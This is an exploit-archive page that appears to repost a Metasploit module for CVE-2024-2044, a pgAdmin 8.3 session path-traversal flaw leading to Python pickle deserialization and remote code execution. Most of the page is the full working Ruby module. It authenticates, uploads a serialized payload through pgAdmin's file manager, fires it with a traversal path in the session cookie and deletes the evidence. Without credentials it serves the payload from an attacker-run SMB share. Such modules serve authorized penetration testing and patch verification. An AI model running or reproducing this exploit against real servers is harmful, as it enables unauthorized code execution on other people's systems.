exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pgAdmin 8.3 Remote Code Execution

pgAdmin 8.3 Remote Code Execution
Posted Apr 17, 2024
Authored by Spencer McIntyre, Abdel Adim Oisfi, Davide Silvetti | Site metasploit.com

pgAdmin versions 8.3 and below have a path traversal vulnerability within their session management logic that can allow a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python object to execute code within the context of the target application. This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also requires that insecure outbound guest access be enabled. Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin underwent changes in the 6.x versions and therefore, pgAdmin versions below 7.0 cannot utilize the authenticated technique whereby a payload is uploaded.

tags | exploit, arbitrary, python
systems | linux, windows
advisories | CVE-2024-2044
SHA-256 | 841d670fe90193388942d1169f9624f5fb5ef8dcf21530ef2dc60444dccc5377

pgAdmin 8.3 Remote Code Execution

Change Mirror Download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share

def initialize(info = {})
super(
update_info(
info,
'Name' => 'pgAdmin Session Deserialization RCE',
'Description' => %q{
pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow
a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python
object to execute code within the context of the target application.

This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials
are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object
using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before
being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no
credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a
UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also
requires that insecure outbound guest access be enabled.

Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin
underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated
technique whereby a payload is uploaded.
},
'Author' => [
'Spencer McIntyre', # metasploit module
'Davide Silvetti', # vulnerability discovery and write up
'Abdel Adim Oisfi' # vulnerability discovery and write up
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-2044'],
['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'],
['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d']
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' => {},
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 5
},
'DefaultTarget' => 0,
'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']),
OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']),
OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
])
end

def check
version = get_version
return CheckCode::Unknown('Unable to determine the target version') unless version
return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.4')

CheckCode::Appears("pgAdmin version #{version} is affected")
end

def csrf_token
return @csrf_token if @csrf_token

res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
set_csrf_token_from_login_page(res)
fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
@csrf_token
end

def set_csrf_token_from_login_page(res)
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
@csrf_token = Regexp.last_match(1)
# at some point between v7.0 and 7.7 the token format changed
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
@csrf_token = element['value']
end
end

def get_version
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
return unless res&.code == 200

html_document = res.get_html_document
return unless html_document.xpath('//title').text == 'pgAdmin 4'

# there's multiple links in the HTML that expose the version number in the [X]XYYZZ,
# see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
return unless versioned_link

set_csrf_token_from_login_page(res) # store the CSRF token because we have it
Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
end

def exploit
if datastore['USERNAME'].present?
exploit_upload
else
exploit_remote_load
end
end

def exploit_remote_load
start_service
print_status('The SMB service has been started.')

# Call the exploit primer
self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
trigger_deserialization(unc)
end

def exploit_upload
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'csrf_token' => csrf_token,
'email' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'language' => 'en',
'internal_button' => 'Login'
}
})

unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
end
print_status('Successfully authenticated to pgAdmin')

serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)

file_name = Faker::File.file_name(dir: '', directory_separator: '')
file_manager_upload(file_name, serialized_data)
trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}")
file_manager_delete(file_name)
end

def trigger_deserialization(path)
print_status("Triggering deserialization for path: #{path}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login'),
'cookie' => "pga4_session=#{path}!"
})
end

def file_manager_init
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => {
'dialog_type' => 'storage_dialog',
'supported_types' => ['sql', 'csv', 'json', '*'],
'dialog_title' => 'Storage Manager'
}.to_json
})
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId'))
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction')
end

trans_id
end

def file_manager_delete(file_path)
trans_id = file_manager_init

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => {
'mode' => 'delete',
'path' => "/#{file_path}",
'storage_folder' => 'my_storage'
}.to_json
})
unless res&.code == 200 && res.get_json_document['success'] == 1
fail_with(Failure::UnexpectedReply, 'Failed to delete file')
end

true
end

def file_manager_upload(file_path, file_contents)
trans_id = file_manager_init

form = Rex::MIME::Message.new
form.add_part(
file_contents,
'application/octet-stream',
'binary',
"form-data; name=\"newfile\"; filename=\"#{file_path}\""
)
form.add_part('add', nil, nil, 'form-data; name="mode"')
form.add_part('/', nil, nil, 'form-data; name="currentpath"')
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => form.to_s
})
unless res&.code == 200 && res.get_json_document['success'] == 1
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
end

upload_path = res.get_json_document.dig('data', 'result', 'Name')
print_status("Serialized payload uploaded to: #{upload_path}")

true
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close